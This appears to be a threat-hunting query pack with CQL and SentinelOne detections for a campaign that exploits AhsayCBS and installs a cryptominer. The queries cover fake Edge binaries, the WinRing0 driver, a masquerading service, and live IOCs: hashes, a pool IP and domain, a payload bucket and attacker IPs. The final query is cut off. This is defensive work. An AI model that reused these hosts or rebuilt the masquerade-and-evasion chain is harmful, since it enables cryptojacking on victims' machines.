// HUNT: command line naming WinRing0 together with a URL (certutil / curl driver fetch) // MITRE: T1105, T1496.001 // CONF: high | FP: low | COST: low | REQUIRES: ProcessRollup2 with CommandLine // SOURCE: Huntress advisory + Huntress Sigma rule "WinRing0 Driver Downloaded via Command Line" // FALSE POSITIVES: administrators manually fetching a hardware-monitoring driver // LOOKBACK: 30d #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | CommandLine=/winring0/i | CommandLine=/(https?|ftp):\/\//i | table([@timestamp, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, aid], limit=200)
5 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typeevent.time: Event timeendpoint.name: Host nametgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
src.process.name: Creator or acting processsrc.process.user: src.process.user
Readiness test
event.type = 'Process Creation' endpoint.name = * tgt.process.name = * tgt.process.cmdline = * | limit 5 | columns event.type, event.time, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: command line naming WinRing0 together with a URL (certutil / curl driver fetch) // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1105, T1496.001 // CONF: high | FP: low // FALSE POSITIVES: administrators manually fetching a hardware-monitoring driver // EQUIVALENCE: equivalent-with-schema-assumptions - Same two-part test: WinRing0 on the command line together with an http, https or ftp URL. // REQUIRES: SentinelOne Process Creation telemetry with command lines // TUNING: Exclude a reviewed hardware-monitoring installer by full command line if one is legitimate. // LOOKBACK: 30d; set the console time range or the query window to cover the exposure period // CONFIGURATION: No lookup tables or custom detection objects required; paste the query into Event Search or a scheduled PowerQuery rule. // KNOWN GAPS: A driver fetched by a process that hides the URL from its command line is not captured. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' tgt.process.cmdline contains 'winring0' tgt.process.cmdline matches '(https?|ftp)://' | columns event.time, endpoint.name, src.process.user, tgt.process.name, tgt.process.cmdline, src.process.name, agent.uuid | limit 200
Looks for: Genuine Microsoft Edge runs msedge.exe from C:\Program Files (x86)\Microsoft\Edge\Application, and there is no genuine edge.exe at all. Here the NSSM wrapper (msedge.exe) and the XMRig miner (edge.exe) ran from Temp. The --daemonized flag is the second signal from Huntress's Sigma rule. FP: none expected; a portable Edge copy in a user folder is the only oddity.
Known limitations and deployment notes
- PowerQuery: A miner renamed to something other than edge.exe or msedge.exe is not captured.
- PowerQuery assumes: tgt.process.image.path holds the full Windows path of the created process.
- PowerQuery assumes: Backslashes in the path regex are double-escaped as PowerQuery requires.
// HUNT: edge.exe / msedge.exe executing from Temp, Public or ProgramData, or with --daemonized // MITRE: T1036.005, T1496.001, T1569.002 // CONF: high | FP: low | COST: low | REQUIRES: ProcessRollup2 with ImageFileName and CommandLine // SOURCE: Huntress advisory + Huntress Sigma rule "Fake Edge Binary Launched with Daemonized Flag" // FALSE POSITIVES: a portable Edge copy deliberately placed in a user folder // LOOKBACK: 30d #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^(edge|msedge)\.exe$/i | ImageFileName=/\\(Temp|Users\\Public|ProgramData)\\[^\\]+$/i OR CommandLine=/--daemonized/i | table([@timestamp, ComputerName, UserName, FileName, ImageFileName, CommandLine, ParentBaseFileName, SHA256HashData, aid], limit=200)
7 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typeevent.time: Event timeendpoint.name: Host namesrc.process.name: Creator or acting processtgt.process.name: Created process nametgt.process.cmdline: Created command linetgt.process.image.path: Created image path
Recommended fields
src.process.user: src.process.user
Optional fields
tgt.process.image.sha256: tgt.process.image.sha256
Readiness test
event.type = 'Process Creation' endpoint.name = * src.process.name = * tgt.process.name = * tgt.process.cmdline = * tgt.process.image.path = * | limit 5 | columns event.type, event.time, endpoint.name, src.process.name, tgt.process.name, tgt.process.cmdline, tgt.process.image.path
// HUNT: edge.exe / msedge.exe executing from Temp, Public or ProgramData, or with --daemonized
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1036.005, T1496.001, T1569.002
// CONF: high | FP: low
// FALSE POSITIVES: a portable Edge copy deliberately placed in a user folder
// EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: an Edge-named image running from Temp, Users\Public or ProgramData, or carrying --daemonized.
// REQUIRES: SentinelOne Process Creation telemetry with image paths and command lines
// TUNING: A deliberate portable Edge copy in a user folder should be excluded by full image path after review.
// LOOKBACK: 30d; set the console time range or the query window to cover the exposure period
// CONFIGURATION: No lookup tables or custom detection objects required; paste the query into Event Search or a scheduled PowerQuery rule.
// KNOWN GAPS: A miner renamed to something other than edge.exe or msedge.exe is not captured.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation'
tgt.process.name in:anycase ('edge.exe','msedge.exe')
(tgt.process.image.path matches '\\\\(Temp|Users\\\\Public|ProgramData)\\\\[^\\\\]+$' or tgt.process.cmdline contains '--daemonized')
| columns event.time, endpoint.name, src.process.user, tgt.process.name, tgt.process.image.path, tgt.process.cmdline, src.process.name, tgt.process.image.sha256, agent.uuid
| limit 200Looks for: Persistence works through a renamed NSSM service wrapper that keeps the miner alive after a crash or reboot. In process telemetry that is msedge.exe as the parent of edge.exe. Real Edge spawns msedge.exe children, never edge.exe. FP: none expected.
Known limitations and deployment notes
- PowerQuery: A wrapper that does not appear as the creator on the event is not captured.
- PowerQuery assumes: On Process Creation, tgt.process.* is the new process and src.process.* is its creator, so the CQL ParentBaseFileName maps to src.process.name.
// HUNT: msedge.exe (NSSM wrapper) as parent of edge.exe (XMRig miner) // MITRE: T1543.003, T1036.005, T1496.001 // CONF: high | FP: low | COST: low | REQUIRES: ProcessRollup2 with ParentBaseFileName // SOURCE: Huntress advisory (msedge.exe is a modified NSSM that keeps edge.exe running) // FALSE POSITIVES: none expected // LOOKBACK: 30d #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ParentBaseFileName=/^msedge\.exe$/i | FileName=/^edge\.exe$/i | table([@timestamp, ComputerName, UserName, FileName, ImageFileName, CommandLine, ParentBaseFileName, SHA256HashData, aid], limit=200)
6 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typeevent.time: Event timeendpoint.name: Host namesrc.process.name: Creator or acting processtgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
tgt.process.image.path: Created image pathsrc.process.user: src.process.user
Optional fields
tgt.process.image.sha256: tgt.process.image.sha256
Readiness test
event.type = 'Process Creation' endpoint.name = * src.process.name = * tgt.process.name = * tgt.process.cmdline = * | limit 5 | columns event.type, event.time, endpoint.name, src.process.name, tgt.process.name, tgt.process.cmdline
// HUNT: msedge.exe (NSSM wrapper) as parent of edge.exe (XMRig miner)
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1543.003, T1036.005, T1496.001
// CONF: high | FP: low
// FALSE POSITIVES: none expected
// EQUIVALENCE: equivalent-with-schema-assumptions - Same parent and child names. Lineage re-mapped: msedge.exe is the creator (src.process.name) and edge.exe the child (tgt.process.name).
// REQUIRES: SentinelOne Process Creation telemetry
// TUNING: No exclusions expected.
// LOOKBACK: 30d; set the console time range or the query window to cover the exposure period
// CONFIGURATION: No lookup tables or custom detection objects required; paste the query into Event Search or a scheduled PowerQuery rule.
// KNOWN GAPS: A wrapper that does not appear as the creator on the event is not captured.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation'
src.process.name in:anycase ('msedge.exe')
tgt.process.name in:anycase ('edge.exe')
| columns event.time, endpoint.name, src.process.user, tgt.process.name, tgt.process.image.path, tgt.process.cmdline, src.process.name, tgt.process.image.sha256, agent.uuid
| limit 200Looks for: The persistence service is named MicrosoftEdgeUpdateSvc (Huntress also mentions an EdgeUpdateHelper service in its Sigma notes). The real Microsoft services are edgeupdate and edgeupdatem, so the name alone is a mimic. The image path in Temp is the part that cannot be explained. FP: none expected.
Known limitations and deployment notes
- PowerQuery: Service display name and image path at creation are not visible in the attested field model.
// HUNT: service named MicrosoftEdgeUpdateSvc / EdgeUpdateHelper, or Edge-named service image in Temp // MITRE: T1543.003, T1036.004, T1569.002 // CONF: high | FP: low | COST: low | REQUIRES: CreateService with ServiceDisplayName and ServiceImagePath (validate in tenant) // SOURCE: Huntress advisory (service MicrosoftEdgeUpdateSvc, SYSTEM, msedge.exe in Temp); EdgeUpdateHelper from the Huntress Sigma rule notes // FALSE POSITIVES: none expected // LOOKBACK: 30d #event_simpleName=CreateService | ServiceDisplayName=/^(MicrosoftEdgeUpdateSvc|EdgeUpdateHelper)$/i OR ServiceImagePath=/\\Temp\\(ms)?edge\.exe/i | table([@timestamp, ComputerName, UserName, ServiceDisplayName, ServiceImagePath, aid], limit=200)
1 required field · View requirements
Required telemetry
- none
Required fields
event.type: Event type
Readiness test
event.type = 'Process Creation' | limit 5 | columns event.type
// HUNT: service named MicrosoftEdgeUpdateSvc / EdgeUpdateHelper, or Edge-named service image in Temp // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1543.003, T1036.004, T1569.002 // CONF: high | FP: low // FALSE POSITIVES: none expected // EQUIVALENCE: unsupported-without-redesign - The CQL reads a Falcon service-creation sensor event; SentinelOne has no attested service-creation event type or service-name field in the Endpoint profile. // REQUIRES: A service-creation event or the Windows Event Logs source with Event ID 7045 // TUNING: Use the CQL tab, or hunt Q5 and Q6 for the service-launched binary. // LOOKBACK: 30d on the CQL tab // CONFIGURATION: Use the CQL tab for this card. // KNOWN GAPS: Service display name and image path at creation are not visible in the attested field model. // VALIDATION LEVEL: static-reviewed
Looks for: Generalizes Q7 so a renamed service or a different wrapper filename is still caught. Legitimate services do not run from \Temp\. FP: some installers and driver packages register a transient service from a Temp extraction folder during setup; software that unpacks and runs a helper service during an update. Triage by image path and signer.
Known limitations and deployment notes
- PowerQuery: Service image paths at creation are not visible in the attested field model.
// HUNT: service created with an image path inside a Temp folder // MITRE: T1543.003, T1569.002 // CONF: medium | FP: medium | COST: low | REQUIRES: CreateService with ServiceImagePath (validate in tenant) // SOURCE: Huntress advisory (service wrapper executed from the Temp folder as SYSTEM) // FALSE POSITIVES: installers or updaters that register a transient service from a Temp extraction folder // TUNING: exclude the named installer once reviewed, for example | ServiceImagePath!=/\\Temp\\(YourVendorSetup)\\/i ; exclude by full path, never by extension // LOOKBACK: 30d #event_simpleName=CreateService | ServiceImagePath=/\\Temp\\[^\\]+\.(exe|sys)/i | table([@timestamp, ComputerName, UserName, ServiceDisplayName, ServiceImagePath, aid], limit=200)
1 required field · View requirements
Required telemetry
- none
Required fields
event.type: Event type
Readiness test
event.type = 'Process Creation' | limit 5 | columns event.type
// HUNT: service created with an image path inside a Temp folder // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1543.003, T1569.002 // CONF: medium | FP: medium // FALSE POSITIVES: installers or updaters that register a transient service from a Temp extraction folder // EQUIVALENCE: unsupported-without-redesign - The CQL reads a Falcon service-creation sensor event; SentinelOne has no attested service-creation event type or ServiceImagePath field in the Endpoint profile. // REQUIRES: A service-creation event or the Windows Event Logs source with Event ID 7045 // TUNING: Use the CQL tab, or hunt Q5 for Edge-named images running from Temp. // LOOKBACK: 30d on the CQL tab // CONFIGURATION: Use the CQL tab for this card. // KNOWN GAPS: Service image paths at creation are not visible in the attested field model. // VALIDATION LEVEL: static-reviewed
Looks for: File-write view of the staging step. Huntress observed edge.exe, msedge.exe and WinRing0x64.sys landing in %TEMP% (AppData\Local\Temp). The two Edge names are almost never legitimate there. FP: hardware-monitoring or RGB/fan-control tools that extract WinRing0x64.sys to Temp during install; triage by writer process and signature.
Known limitations and deployment notes
- PowerQuery: A file written by a kernel or remote path without a File Creation event is not captured.
- PowerQuery assumes: File Creation covers all file types, so the extension test in the regex replaces the CQL PE-only event filter.
- PowerQuery assumes: On non-Process-Creation events the writer is src.process.*.
// HUNT: PE written to Temp as edge.exe / msedge.exe / WinRing0x64.sys // MITRE: T1105, T1036.005, T1496.001 // CONF: high | FP: medium | COST: low | REQUIRES: PeFileWritten / NewExecutableWritten with TargetFileName // SOURCE: Huntress advisory (payloads dropped in %TEMP%, driver at ...\AppData\Local\Temp\WinRing0x64.sys) // FALSE POSITIVES: legitimate hardware-monitoring installers that ship the WinRing0 driver // TUNING: for the .sys branch only, exclude a reviewed installer writer, for example | ContextBaseFileName!=/^(YourMonitoringTool)\.exe$/i ; never exclude edge.exe or msedge.exe // LOOKBACK: 30d #event_simpleName=/^(PeFileWritten|NewExecutableWritten)$/ | TargetFileName=/\\Temp\\(edge|msedge|WinRing0x64)\.(exe|sys)$/i | table([@timestamp, ComputerName, UserName, TargetFileName, ContextBaseFileName, SHA256HashData, aid], limit=200)
4 required fields · View requirements
Required telemetry
- File Creation
Required fields
event.type: Event typeevent.time: Event timeendpoint.name: Host nametgt.file.path: Written file path
Recommended fields
src.process.name: Creator or acting processsrc.process.user: src.process.user
Optional fields
tgt.file.sha256: tgt.file.sha256
Readiness test
event.type = 'File Creation' endpoint.name = * tgt.file.path = * | limit 5 | columns event.type, event.time, endpoint.name, tgt.file.path
// HUNT: PE written to Temp as edge.exe / msedge.exe / WinRing0x64.sys // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1105, T1036.005, T1496.001 // CONF: high | FP: medium // FALSE POSITIVES: legitimate hardware-monitoring installers that ship the WinRing0 driver // EQUIVALENCE: equivalent-with-schema-assumptions - Same Temp-folder file-name test. PE-write events map to File Creation; the writer is src.process.* on file events. // REQUIRES: SentinelOne File Creation telemetry // TUNING: For the .sys branch exclude a reviewed installer writer by src.process.name; never exclude edge.exe or msedge.exe. // LOOKBACK: 30d; set the console time range or the query window to cover the exposure period // CONFIGURATION: No lookup tables or custom detection objects required; paste the query into Event Search or a scheduled PowerQuery rule. // KNOWN GAPS: A file written by a kernel or remote path without a File Creation event is not captured. // VALIDATION LEVEL: static-reviewed event.type = 'File Creation' tgt.file.path matches '\\\\Temp\\\\(edge|msedge|WinRing0x64)\\.(exe|sys)$' | columns event.time, endpoint.name, src.process.user, tgt.file.path, src.process.name, tgt.file.sha256, agent.uuid | limit 200
Looks for: Hash match across process and PE-write events. Single-sourced to Huntress and perishable (a rebuilt miner or wrapper changes the hash), so this supports triage but never replaces Q1 to Q9. The Taskgmr.ps1 hash is included for completeness but a script is only visible if the sensor records its hash. FP: none expected.
Known limitations and deployment notes
- PowerQuery: The third value is a PowerShell script hash; it is not seen as a process image hash, so only file-creation of that script can match.
- PowerQuery assumes: Hash population on tgt.process.image.sha256 and tgt.file.sha256 varies by tenant; run the readiness test.
- PowerQuery assumes: The hash lists are lowercase and in is case-sensitive.
// HUNT: published campaign SHA-256 values seen in process or PE-write telemetry // MITRE: T1105, T1036.005, T1496.001 // CONF: medium | FP: low | COST: medium | REQUIRES: SHA256HashData on ProcessRollup2 / PeFileWritten / NewExecutableWritten // SOURCE: Huntress advisory IOC table (single source; hashes change on rebuild) // FALSE POSITIVES: none expected // LOOKBACK: 30d #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2|PeFileWritten|NewExecutableWritten)$/ | in(field="SHA256HashData", values=["05f69ae6b2b89c1c4dcf836bff032232f11bf0109f2b498e2345045d06139034", "4dcb0202fe8b2d4d7b183764e38184cd6ed50132786cc7e7d1f7f4bce1dd6f3d", "481728a7c9c4c02be07051d9c1958d902ea6397ebb8952ab83944818e3d25d21"]) | table([@timestamp, #event_simpleName, ComputerName, UserName, FileName, SHA256HashData, ParentBaseFileName, aid], limit=200)
5 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typeevent.time: Event timeendpoint.name: Host nametgt.process.image.sha256: Created image SHA-256tgt.file.sha256: Written file SHA-256
Recommended fields
src.process.name: Creator or acting process
Optional fields
tgt.process.name: tgt.process.name
Readiness test
event.type = 'Process Creation' endpoint.name = * tgt.process.image.sha256 = * tgt.file.sha256 = * | limit 5 | columns event.type, event.time, endpoint.name, tgt.process.image.sha256, tgt.file.sha256
// HUNT: published campaign SHA-256 values seen in process or PE-write telemetry
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1105, T1036.005, T1496.001
// CONF: medium | FP: low
// FALSE POSITIVES: none expected
// EQUIVALENCE: equivalent-with-schema-assumptions - Same three published SHA-256 values tested on process creation and on file creation.
// REQUIRES: SentinelOne Process Creation and File Creation events with SHA-256 populated
// TUNING: Hashes change on rebuild; treat a miss as no evidence.
// LOOKBACK: 30d; set the console time range or the query window to cover the exposure period
// CONFIGURATION: No lookup tables or custom detection objects required; paste the query into Event Search or a scheduled PowerQuery rule.
// KNOWN GAPS: The third value is a PowerShell script hash; it is not seen as a process image hash, so only file-creation of that script can match.
// VALIDATION LEVEL: static-reviewed
(event.type = 'Process Creation' tgt.process.image.sha256 in ('05f69ae6b2b89c1c4dcf836bff032232f11bf0109f2b498e2345045d06139034','4dcb0202fe8b2d4d7b183764e38184cd6ed50132786cc7e7d1f7f4bce1dd6f3d','481728a7c9c4c02be07051d9c1958d902ea6397ebb8952ab83944818e3d25d21')) or (event.type = 'File Creation' tgt.file.sha256 in ('05f69ae6b2b89c1c4dcf836bff032232f11bf0109f2b498e2345045d06139034','4dcb0202fe8b2d4d7b183764e38184cd6ed50132786cc7e7d1f7f4bce1dd6f3d','481728a7c9c4c02be07051d9c1958d902ea6397ebb8952ab83944818e3d25d21'))
| columns event.type, event.time, endpoint.name, src.process.user, tgt.process.name, tgt.process.image.sha256, tgt.file.path, tgt.file.sha256, src.process.name, agent.uuid
| limit 200Looks for: Huntress saw the miner connect to 51.195.127.124:8029 (xmr.kryptex.network). The second branch catches a pool address change by keying on the port plus the fake Edge process name. FP: none expected; legitimate Edge never talks to TCP 8029.
Known limitations and deployment notes
- PowerQuery: Connections from a process renamed to something other than edge.exe or msedge.exe to a different pool are not captured.
- PowerQuery assumes: On IP Connect events the acting process is src.process.*, not tgt.process.*.
// HUNT: network connection to the Kryptex pool IP, or TCP 8029 from edge.exe / msedge.exe // MITRE: T1571, T1496.001 // CONF: high | FP: low | COST: low | REQUIRES: NetworkConnectIP4 with ContextBaseFileName // SOURCE: Huntress advisory (pool IP 51.195.127.124:8029; miner process edge.exe) // FALSE POSITIVES: none expected // LOOKBACK: 30d #event_simpleName=NetworkConnectIP4 | RemoteAddressIP4="51.195.127.124" OR (RemotePort=8029 AND ContextBaseFileName=/^(edge|msedge)\.exe$/i) | table([@timestamp, ComputerName, UserName, ContextBaseFileName, RemoteAddressIP4, RemotePort, aid], limit=200)
6 required fields · View requirements
Required telemetry
- IP Connect
Required fields
event.type: Event typeevent.time: Event timeendpoint.name: Host namesrc.process.name: Creator or acting processdst.ip.address: Remote IPdst.port.number: Remote port
Recommended fields
src.process.user: src.process.user
Readiness test
event.type = 'IP Connect' endpoint.name = * src.process.name = * dst.ip.address = * dst.port.number = * | limit 5 | columns event.type, event.time, endpoint.name, src.process.name, dst.ip.address, dst.port.number
// HUNT: network connection to the Kryptex pool IP, or TCP 8029 from edge.exe / msedge.exe
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1571, T1496.001
// CONF: high | FP: low
// FALSE POSITIVES: none expected
// EQUIVALENCE: equivalent-with-schema-assumptions - Same test: connection to the pool IP, or TCP 8029 from an Edge-named process. The acting process is src.process.* on network events.
// REQUIRES: SentinelOne IP Connect telemetry
// TUNING: No exclusions expected.
// LOOKBACK: 30d; set the console time range or the query window to cover the exposure period
// CONFIGURATION: No lookup tables or custom detection objects required; paste the query into Event Search or a scheduled PowerQuery rule.
// KNOWN GAPS: Connections from a process renamed to something other than edge.exe or msedge.exe to a different pool are not captured.
// VALIDATION LEVEL: static-reviewed
event.type = 'IP Connect'
(dst.ip.address = '51.195.127.124' or (dst.port.number = 8029 and src.process.name in:anycase ('edge.exe','msedge.exe')))
| columns event.time, endpoint.name, src.process.user, src.process.name, dst.ip.address, dst.port.number, agent.uuid
| limit 200Looks for: Name resolution for xmr.kryptex.network (pool) or imagefiles-backup.oss-ap-southeast-7.aliyuncs.com (payload host). Kryptex is a public mining pool, so a hit on the pool name means mining software of any origin is running. FP: none expected on a corporate endpoint.
Known limitations and deployment notes
- PowerQuery: Lookups made through an encrypted resolver that bypasses the host stack are not captured.
- PowerQuery assumes: event.dns.request is the pySigma-mapped DNS field; some schema versions use dns.request instead, so run the readiness test first.
// HUNT: DNS resolution of the Kryptex pool host or the campaign Alibaba Cloud OSS bucket // MITRE: T1071.001, T1571, T1496.001 // CONF: high | FP: low | COST: low | REQUIRES: DnsRequest with DomainName // SOURCE: Huntress advisory (pool host and payload bucket); both single-sourced // FALSE POSITIVES: none expected // LOOKBACK: 30d #event_simpleName=DnsRequest | DomainName=/^(xmr\.kryptex\.network|imagefiles-backup\.oss-ap-southeast-7\.aliyuncs\.com)$/i | table([@timestamp, ComputerName, UserName, DomainName, ContextProcessId_decimal, aid], limit=200)
4 required fields · View requirements
Required telemetry
- DNS Resolved
Required fields
event.type: Event typeevent.time: Event timeendpoint.name: Host nameevent.dns.request: DNS name
Recommended fields
src.process.name: Creator or acting processsrc.process.user: src.process.user
Readiness test
event.type = 'DNS Resolved' endpoint.name = * event.dns.request = * | limit 5 | columns event.type, event.time, endpoint.name, event.dns.request
// HUNT: DNS resolution of the Kryptex pool host or the campaign Alibaba Cloud OSS bucket
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1071.001, T1571, T1496.001
// CONF: high | FP: low
// FALSE POSITIVES: none expected
// EQUIVALENCE: equivalent-with-schema-assumptions - Same exact-name test for the pool host and the payload bucket on DNS resolution events.
// REQUIRES: SentinelOne DNS Resolved telemetry
// TUNING: No exclusions expected.
// LOOKBACK: 30d; set the console time range or the query window to cover the exposure period
// CONFIGURATION: No lookup tables or custom detection objects required; paste the query into Event Search or a scheduled PowerQuery rule.
// KNOWN GAPS: Lookups made through an encrypted resolver that bypasses the host stack are not captured.
// VALIDATION LEVEL: static-reviewed
event.type = 'DNS Resolved'
event.dns.request in:anycase ('xmr.kryptex.network','imagefiles-backup.oss-ap-southeast-7.aliyuncs.com')
| columns event.time, endpoint.name, src.process.user, event.dns.request, src.process.name, agent.uuid
| limit 200Looks for: Inbound accepts or outbound connects involving the six addresses Huntress tied to exploitation. They are single-sourced and perishable, and cloud or anonymizing ranges can be shared with unrelated traffic, so a hit is a lead to pair with Q1 or Q2, not a verdict. FP: unrelated tenants on the same hosting ranges; scanners.
Known limitations and deployment notes
- PowerQuery: Inbound-only scans that never reach a listener the agent records are not captured.
- PowerQuery: The addresses are perishable and single-sourced.
- PowerQuery assumes: Inbound traffic to a listener is assumed to appear as an IP Connect event with the peer in src.ip.address.
// HUNT: inbound accept or outbound connect involving the six reported exploitation addresses // MITRE: T1190 // CONF: medium | FP: medium | COST: medium | REQUIRES: NetworkReceiveAcceptIP4 / NetworkConnectIP4 with RemoteAddressIP4 (validate in tenant) // SOURCE: Huntress advisory IOC table (single source, perishable) // FALSE POSITIVES: shared cloud or anonymizing ranges, scanners // TUNING: trust a hit only when the same aid also fires Q1, Q2 or Q3; scope to the AhsayCBS hosts with | in(field="aid", values=[...]) or a ComputerName filter // LOOKBACK: 30d #event_simpleName=/^(NetworkReceiveAcceptIP4|NetworkConnectIP4)$/ | in(field="RemoteAddressIP4", values=["177.4.12.11", "38.60.252.110", "107.191.47.199", "185.220.236.49", "104.234.26.10", "123.202.208.37"]) | table([@timestamp, #event_simpleName, ComputerName, ContextBaseFileName, RemoteAddressIP4, RemotePort, LocalPort, aid], limit=200)
5 required fields · View requirements
Required telemetry
- IP Connect
Required fields
event.type: Event typeevent.time: Event timeendpoint.name: Host namedst.ip.address: Remote IPsrc.ip.address: Local IP
Recommended fields
src.process.name: Creator or acting process
Readiness test
event.type = 'IP Connect' endpoint.name = * dst.ip.address = * src.ip.address = * | limit 5 | columns event.type, event.time, endpoint.name, dst.ip.address, src.ip.address
// HUNT: inbound accept or outbound connect involving the six reported exploitation addresses
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1190
// CONF: medium | FP: medium
// FALSE POSITIVES: shared cloud or anonymizing ranges, scanners
// EQUIVALENCE: approximate-analytic - SentinelOne IP Connect does not separate accept from connect as the CQL events do, so both directions are covered by testing the six addresses in either the source or destination field.
// REQUIRES: SentinelOne IP Connect telemetry
// TUNING: Trust a hit only when the same host also fires Q1, Q2 or Q3; scope to the AhsayCBS hosts by endpoint.name.
// LOOKBACK: 30d; set the console time range or the query window to cover the exposure period
// CONFIGURATION: No lookup tables or custom detection objects required; paste the query into Event Search or a scheduled PowerQuery rule.
// KNOWN GAPS: Inbound-only scans that never reach a listener the agent records are not captured. The addresses are perishable and single-sourced.
// VALIDATION LEVEL: static-reviewed
event.type = 'IP Connect'
(dst.ip.address in ('177.4.12.11','38.60.252.110','107.191.47.199','185.220.236.49','104.234.26.10','123.202.208.37') or src.ip.address in ('177.4.12.11','38.60.252.110','107.191.47.199','185.220.236.49','104.234.26.10','123.202.208.37'))
| columns event.time, endpoint.name, src.process.name, src.ip.address, src.port.number, dst.ip.address, dst.port.number, agent.uuid
| limit 200Looks for: Taskgmr.ps1 watches for Task Manager, stops MicrosoftEdgeUpdateSvc while it is open, restarts it afterwards and kills Task Manager at 18:00 local time. If the script runs from a file the command line names it; if it is pasted inline the second branch looks for the Task Manager plus Stop-Service/Start-Service pairing Huntress keys on. Script-block content is not in Falcon process events, so this is a command-line view only. FP: none expected.
Known limitations and deployment notes
- PowerQuery: Script content loaded from a file that never appears on the command line is not captured.
- PowerQuery assumes: Case-insensitive matching is the PowerQuery default for contains and matches.
// HUNT: PowerShell invoking Taskgmr.ps1, or Task Manager awareness combined with Stop-/Start-Service // MITRE: T1059.001, T1564, T1057, T1124 // CONF: medium | FP: low | COST: low | REQUIRES: ProcessRollup2 with CommandLine // SOURCE: Huntress advisory + Huntress Sigma rule "PowerShell Scriptblock - Task Manager Aware Service Control" // FALSE POSITIVES: admin scripts that coordinate a service with Task Manager (rare) // LOOKBACK: 30d #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^(powershell|pwsh)\.exe$/i | CommandLine=/Taskgmr\.ps1/i OR (CommandLine=/taskmgr/i AND CommandLine=/(Stop|Start)-Service/i) | table([@timestamp, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, aid], limit=200)
5 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typeevent.time: Event timeendpoint.name: Host nametgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
src.process.name: Creator or acting processsrc.process.user: src.process.user
Readiness test
event.type = 'Process Creation' endpoint.name = * tgt.process.name = * tgt.process.cmdline = * | limit 5 | columns event.type, event.time, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: PowerShell invoking Taskgmr.ps1, or Task Manager awareness combined with Stop-/Start-Service
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1059.001, T1564, T1057, T1124
// CONF: medium | FP: low
// FALSE POSITIVES: admin scripts that coordinate a service with Task Manager (rare)
// EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate on the PowerShell command line: Taskgmr.ps1, or Task Manager awareness combined with Stop-Service or Start-Service.
// REQUIRES: SentinelOne Process Creation telemetry with command lines
// TUNING: Exclude a reviewed admin script by full command line.
// LOOKBACK: 30d; set the console time range or the query window to cover the exposure period
// CONFIGURATION: No lookup tables or custom detection objects required; paste the query into Event Search or a scheduled PowerQuery rule.
// KNOWN GAPS: Script content loaded from a file that never appears on the command line is not captured.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation'
tgt.process.name in:anycase ('powershell.exe','pwsh.exe')
(tgt.process.cmdline contains 'Taskgmr.ps1' or (tgt.process.cmdline contains 'taskmgr' and tgt.process.cmdline matches '(Stop|Start)-Service'))
| columns event.time, endpoint.name, src.process.user, tgt.process.name, tgt.process.cmdline, src.process.name, agent.uuid
| limit 200Looks for: Counts distinct signals per host across the whole chain: service child, Edge masquerade, persistence service, Temp staging, pool traffic and Taskgmr. Any two on one host is a confirmed intrusion until disproven. FP: none expected; each signal is rare on its own.
Known limitations and deployment notes
- PowerQuery: No composite per-host signal count is shipped; the cbs_download_child, fake_edge_process, taskgmr_script, temp_staging and pool_connection signals are covered by Q2, Q5, Q14, Q9 and Q11 individually.
// HUNT: correlate AhsayCBS exploitation-to-miner signals per host (two or more distinct signals) // MITRE: T1190, T1105, T1543.003, T1036.005, T1496.001 // CONF: high | FP: low | COST: medium | REQUIRES: ProcessRollup2, CreateService, PeFileWritten, NewExecutableWritten, NetworkConnectIP4 // SOURCE: Huntress advisory (full chain); composite of Q2, Q5, Q7, Q9, Q11, Q14 // FALSE POSITIVES: very low; each signal is rare on its own // LOOKBACK: 30d #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2|CreateService|PeFileWritten|NewExecutableWritten|NetworkConnectIP4)$/ | case { #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ParentBaseFileName=/^cbssvcX(64|86)\.exe$/i | FileName=/^(curl|certutil)\.exe$/i | Signal := "cbs_download_child"; #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^(edge|msedge)\.exe$/i | ImageFileName=/\\(Temp|Users\\Public|ProgramData)\\[^\\]+$/i | Signal := "fake_edge_process"; #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^(powershell|pwsh)\.exe$/i | CommandLine=/Taskgmr\.ps1/i | Signal := "taskgmr_script"; #event_simpleName=CreateService | ServiceDisplayName=/^(MicrosoftEdgeUpdateSvc|EdgeUpdateHelper)$/i | Signal := "edge_update_service"; #event_simpleName=/^(PeFileWritten|NewExecutableWritten)$/ | TargetFileName=/\\Temp\\(edge|msedge|WinRing0x64)\.(exe|sys)$/i | 